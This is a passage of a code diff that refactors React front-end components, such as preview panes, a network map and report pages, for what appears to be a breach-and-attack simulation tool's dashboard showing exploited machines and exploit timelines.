Accessible From&nbsp;
{this.generateToolTip('List of machine which can access this one using a network protocol')}
</th>
<td>{asset.accessible_from_nodes.map(val => <div key={val}>{val}</div>)}</td>
</tr>
);
}
statusRow(asset) {
return (
<tr>
<th>Status</th>
<td>{(asset.dead) ? 'Dead' : 'Alive'}</td>
</tr>
);
}
forceKill(event, asset) {
let newConfig = asset.config;
newConfig['alive'] = !event.target.checked;
this.authFetch('/api/monkey/' + asset.guid,
{
method: 'PATCH',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({config: newConfig})
});
}
forceKillRow(asset) {
return (
<tr>
<th>
Force Kill&nbsp;
{this.generateToolTip('If this is on, monkey will die next time it communicates')}
</th>
<td>
<Toggle id={asset.id} checked={!asset.config.alive} icons={false} disabled={asset.dead}
onChange={(e) => this.forceKill(e, asset)}/>
</td>
</tr>
);
}
unescapeLog(st) {
return st.substr(1, st.length - 2) // remove quotation marks on beginning and end of string.
.replace(/\\n/g, '\n')
.replace(/\\r/g, '\r')
.replace(/\\t/g, '\t')
.replace(/\\b/g, '\b')
.replace(/\\f/g, '\f')
.replace(/\\"/g, '\"')
.replace(/\\'/g, '\'')
.replace(/\\&/g, '\&');
}
downloadLog(asset) {
this.authFetch('/api/log?id=' + asset.id)
.then(res => res.json())
.then(res => {
let timestamp = res['timestamp'];
timestamp = timestamp.substr(0, timestamp.indexOf('.'));
let filename = res['monkey_label'].split(':').join('-') + ' - ' + timestamp + '.log';
let logContent = this.unescapeLog(res['log']);
download(logContent, filename, 'text/plain');
});
}
downloadLogRow(asset) {
return (
<tr>
<th>
Download Log
</th>
<td>
<a type="button" className="btn btn-primary"
disabled={!asset.has_log}
onClick={() => this.downloadLog(asset)}>Download</a>
</td>
</tr>
);
}
exploitsTimeline(asset) {
if (asset.exploits.length === 0) {
return (<div/>);
}
return (
<div>
<h4 style={{'marginTop': '2em'}}>
Exploit Timeline&nbsp;
{this.generateToolTip('Timeline of exploit attempts. Red is successful. Gray is unsuccessful')}
</h4>
<ul className="timeline">
{asset.exploits.map(exploit =>
<li key={exploit.timestamp}>
<div className={'bullet ' + (exploit.result ? 'bad' : '')}/>
<div>{new Date(exploit.timestamp).toLocaleString()}</div>
<div>{exploit.origin}</div>
<div>{exploit.exploiter}</div>
</li>
)}
</ul>
</div>
)
}
assetInfo(asset) {
return (
<div>
<table className="table table-condensed">
<tbody>
{this.osRow(asset)}
{this.ipsRow(asset)}
{this.servicesRow(asset)}
{this.accessibleRow(asset)}
</tbody>
</table>
{this.exploitsTimeline(asset)}
</div>
);
}
infectedAssetInfo(asset) {
return (
<div>
<table className="table table-condensed">
<tbody>
{this.osRow(asset)}
{this.statusRow(asset)}
{this.ipsRow(asset)}
{this.servicesRow(asset)}
{this.accessibleRow(asset)}
{this.forceKillRow(asset)}
{this.downloadLogRow(asset)}
</tbody>
</table>
{this.exploitsTimeline(asset)}
</div>
);
}
scanInfo(edge) {
return (
<div>
<table className="table table-condensed">
<tbody>
<tr>
<th>Operating System</th>
<td>{edge.os.type}</td>
</tr>
<tr>
<th>IP Address</th>
<td>{edge.ip_address}</td>
</tr>
<tr>
<th>Services</th>
<td>{edge.services.map(val => <div key={val}>{val}</div>)}</td>
</tr>
</tbody>
</table>
{
(edge.exploits.length === 0) ?
'' :
<div>
<h4 style={{'marginTop': '2em'}}>Timeline</h4>
<ul className="timeline">
{edge.exploits.map(exploit =>
<li key={exploit.timestamp}>
<div className={'bullet ' + (exploit.result ? 'bad' : '')}/>
<div>{new Date(exploit.timestamp).toLocaleString()}</div>
<div>{exploit.origin}</div>
<div>{exploit.exploiter}</div>
</li>
)}
</ul>
</div>
}
</div>
);
}
islandEdgeInfo() {
return (
<div>
</div>
);
}
getInfoByProps() {
switch (this.props.type) {
case 'edge':
return this.scanInfo(this.props.item);
case 'node':
return this.props.item.group.includes('monkey', 'manual') ?
this.infectedAssetInfo(this.props.item) : this.assetInfo(this.props.item);
case 'island_edge':
return this.islandEdgeInfo();
}
return null;
}
}
export default InfMapPreviewPaneComponent;

View File

@ -253,8 +253,15 @@ class PreviewPaneComponent extends AuthComponent {
info = this.scanInfo(this.props.item); info = this.scanInfo(this.props.item);
break; break;
case 'node': case 'node':
info = this.props.item.group.includes('monkey', 'manual') ? this.infectedAssetInfo(this.props.item) : if (this.props.item.group.includes('monkey') && this.props.item.group.includes('starting')) {
this.props.item.group !== 'island' ? this.assetInfo(this.props.item) : this.islandAssetInfo(); info = this.assetInfo(this.props.item);
} else if (this.props.item.group.includes('monkey', 'manual')) {
info = this.infectedAssetInfo(this.props.item)
} else if (this.props.item.group !== 'island') {
info = this.assetInfo(this.props.item)
} else {
info = this.islandAssetInfo();
}
break; break;
case 'island_edge': case 'island_edge':
info = this.islandEdgeInfo(); info = this.islandEdgeInfo();

View File

@ -1,59 +0,0 @@
import React from 'react';
import PreviewPaneComponent from 'components/map/preview-pane/PreviewPane';
class PthPreviewPaneComponent extends PreviewPaneComponent {
nodeInfo(asset) {
return (
<div>
<table className="table table-condensed">
<tbody>
<tr>
<th>Hostname</th>
<td>{asset.hostname}</td>
</tr>
<tr>
<th>IP Addresses</th>
<td>{asset.ips.map(val => <div key={val}>{val}</div>)}</td>
</tr>
<tr>
<th>Services</th>
<td>{asset.services.map(val => <div key={val}>{val}</div>)}</td>
</tr>
<tr>
<th>Compromised Users</th>
<td>{asset.users.map(val => <div key={val}>{val}</div>)}</td>
</tr>
</tbody>
</table>
</div>
);
}
edgeInfo(edge) {
return (
<div>
<table className="table table-condensed">
<tbody>
<tr>
<th>Compromised Users</th>
<td>{edge.users.map(val => <div key={val}>{val}</div>)}</td>
</tr>
</tbody>
</table>
</div>
);
}
getInfoByProps() {
switch (this.props.type) {
case 'edge':
return this.edgeInfo(this.props.item);
case 'node':
return this.nodeInfo(this.props.item);
}
return null;
}
}
export default PthPreviewPaneComponent;

View File

@ -3,9 +3,9 @@ import {Col, Modal} from 'react-bootstrap';
import {Link} from 'react-router-dom'; import {Link} from 'react-router-dom';
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome' import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'
import { faStopCircle, faMinus } from '@fortawesome/free-solid-svg-icons' import { faStopCircle, faMinus } from '@fortawesome/free-solid-svg-icons'
import InfMapPreviewPaneComponent from 'components/map/preview-pane/InfMapPreviewPane'; import PreviewPaneComponent from 'components/map/preview-pane/PreviewPane';
import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
import {options, edgeGroupToColor} from 'components/map/MapOptions'; import {getOptions, edgeGroupToColor} from 'components/map/MapOptions';
import AuthComponent from '../AuthComponent'; import AuthComponent from '../AuthComponent';
class MapPageComponent extends AuthComponent { class MapPageComponent extends AuthComponent {
@ -13,6 +13,7 @@ class MapPageComponent extends AuthComponent {
super(props); super(props);
this.state = { this.state = {
graph: {nodes: [], edges: []}, graph: {nodes: [], edges: []},
nodeStateList:[],
selected: null, selected: null,
selectedType: null, selectedType: null,
killPressed: false, killPressed: false,
@ -33,6 +34,7 @@ class MapPageComponent extends AuthComponent {
}; };
componentDidMount() { componentDidMount() {
this.getNodeStateListFromServer();
this.updateMapFromServer(); this.updateMapFromServer();
this.interval = setInterval(this.timedEvents, 5000); this.interval = setInterval(this.timedEvents, 5000);
} }
@ -41,6 +43,14 @@ class MapPageComponent extends AuthComponent {
clearInterval(this.interval); clearInterval(this.interval);
} }
getNodeStateListFromServer = () => {
this.authFetch('/api/netmap/nodeStates')
.then(res => res.json())
.then(res => {
this.setState({nodeStateList: res.node_states});
});
};
timedEvents = () => { timedEvents = () => {
this.updateMapFromServer(); this.updateMapFromServer();
this.updateTelemetryFromServer(); this.updateTelemetryFromServer();
@ -201,7 +211,7 @@ class MapPageComponent extends AuthComponent {
</div> </div>
{this.renderTelemetryConsole()} {this.renderTelemetryConsole()}
<div style={{height: '80vh'}}> <div style={{height: '80vh'}}>
<ReactiveGraph graph={this.state.graph} options={options} events={this.events}/> <ReactiveGraph graph={this.state.graph} options={getOptions(this.state.nodeStateList)} events={this.events}/>
</div> </div>
{this.renderTelemetryLineCount()} {this.renderTelemetryLineCount()}
</Col> </Col>
@ -226,7 +236,7 @@ class MapPageComponent extends AuthComponent {
</div> </div>
: ''} : ''}
<InfMapPreviewPaneComponent item={this.state.selected} type={this.state.selectedType}/> <PreviewPaneComponent item={this.state.selected} type={this.state.selectedType}/>
</Col> </Col>
</div> </div>
); );

View File

@ -3,8 +3,6 @@ import '../../styles/report/ReportPage.scss';
import React from 'react'; import React from 'react';
import {Route} from 'react-router-dom'; import {Route} from 'react-router-dom';
import {Col, Nav, NavItem} from 'react-bootstrap'; import {Col, Nav, NavItem} from 'react-bootstrap';
import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
import {edgeGroupToColor, options} from 'components/map/MapOptions';
import AuthComponent from '../AuthComponent'; import AuthComponent from '../AuthComponent';
import MustRunMonkeyWarning from '../report-components/common/MustRunMonkeyWarning'; import MustRunMonkeyWarning from '../report-components/common/MustRunMonkeyWarning';
import AttackReport from '../report-components/AttackReport' import AttackReport from '../report-components/AttackReport'

View File

@ -3,10 +3,18 @@ import Graph from 'react-graph-vis';
import Dimensions from 'react-dimensions' import Dimensions from 'react-dimensions'
class GraphWrapper extends React.Component { class GraphWrapper extends React.Component {
constructor(props) {
super(props);
}
render() { render() {
let newOptions = this.props.options; let newOptions = null;
if(this.props.options !== undefined){
newOptions = this.props.options;
newOptions.height = this.props.containerHeight.toString() + 'px'; newOptions.height = this.props.containerHeight.toString() + 'px';
newOptions.width = this.props.containerWidth.toString() + 'px'; newOptions.width = this.props.containerWidth.toString() + 'px';
}
return (<Graph graph={this.props.graph} options={newOptions} events={this.props.events}/>) return (<Graph graph={this.props.graph} options={newOptions} events={this.props.events}/>)
} }
} }

View File

@ -57,7 +57,7 @@ class AttackReport extends React.Component {
static getComponentClass(tech_id, techniques) { static getComponentClass(tech_id, techniques) {
switch (techniques[tech_id].status) { switch (techniques[tech_id].status) {
case ScanStatus.SCANNED: case ScanStatus.SCANNED:
return 'collapse-info'; return 'collapse-warning';
case ScanStatus.USED: case ScanStatus.USED:
return 'collapse-danger'; return 'collapse-danger';
default: default:
@ -79,16 +79,16 @@ class AttackReport extends React.Component {
renderLegend() { renderLegend() {
return (<div id='header' className='row justify-content-between attack-legend'> return (<div id='header' className='row justify-content-between attack-legend'>
<Col xs={4}> <Col xs={4}>
<FontAwesomeIcon icon={faCircle} className='icon-default'/> <FontAwesomeIcon icon={faCircle} className='technique-not-attempted'/>
<span> - Not scanned</span> <span> - Not attempted</span>
</Col> </Col>
<Col xs={4}> <Col xs={4}>
<FontAwesomeIcon icon={faCircle} className='icon-info'/> <FontAwesomeIcon icon={faCircle} className='technique-attempted'/>
<span> - Scanned</span> <span> - Tried (but failed)</span>
</Col> </Col>
<Col xs={4}> <Col xs={4}>
<FontAwesomeIcon icon={faCircle} className='icon-danger'/> <FontAwesomeIcon icon={faCircle} className='technique-used'/>
<span> - Used</span> <span> - Successfully used</span>
</Col> </Col>
</div>) </div>)
} }

View File

@ -3,7 +3,7 @@ import BreachedServers from 'components/report-components/security/BreachedServe
import ScannedServers from 'components/report-components/security/ScannedServers'; import ScannedServers from 'components/report-components/security/ScannedServers';
import PostBreach from 'components/report-components/security/PostBreach'; import PostBreach from 'components/report-components/security/PostBreach';
import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
import {edgeGroupToColor, options} from 'components/map/MapOptions'; import {edgeGroupToColor, getOptions} from 'components/map/MapOptions';
import StolenPasswords from 'components/report-components/security/StolenPasswords'; import StolenPasswords from 'components/report-components/security/StolenPasswords';
import CollapsibleWellComponent from 'components/report-components/security/CollapsibleWell'; import CollapsibleWellComponent from 'components/report-components/security/CollapsibleWell';
import {Line} from 'rc-progress'; import {Line} from 'rc-progress';
@ -54,14 +54,24 @@ class ReportPageComponent extends AuthComponent {
super(props); super(props);
this.state = { this.state = {
report: props.report, report: props.report,
graph: {nodes: [], edges: []} graph: {nodes: [], edges: []},
nodeStateList: []
}; };
} }
componentDidMount() { componentDidMount() {
this.getNodeStateListFromServer();
this.updateMapFromServer(); this.updateMapFromServer();
} }
getNodeStateListFromServer = () => {
this.authFetch('/api/netmap/nodeStates')
.then(res => res.json())
.then(res => {
this.setState({nodeStateList: res.node_states});
});
};
componentWillUnmount() { componentWillUnmount() {
clearInterval(this.interval); clearInterval(this.interval);
} }
@ -396,7 +406,7 @@ class ReportPageComponent extends AuthComponent {
<span>Island Communication <FontAwesomeIcon icon={faMinus} size="lg" style={{color: '#a9aaa9'}}/></span> <span>Island Communication <FontAwesomeIcon icon={faMinus} size="lg" style={{color: '#a9aaa9'}}/></span>
</div> </div>
<div style={{position: 'relative', height: '80vh'}}> <div style={{position: 'relative', height: '80vh'}}>
<ReactiveGraph graph={this.state.graph} options={options}/> <ReactiveGraph graph={this.state.graph} options={getOptions(this.state.nodeStateList)}/>
</div> </div>
<div style={{marginBottom: '20px'}}> <div style={{marginBottom: '20px'}}>
<BreachedServers data={this.state.report.glance.exploited}/> <BreachedServers data={this.state.report.glance.exploited}/>

Binary file not shown.

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 19 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 23 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 95 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 85 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 156 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 163 KiB

Some files were not shown because too many files have changed in this diff Show More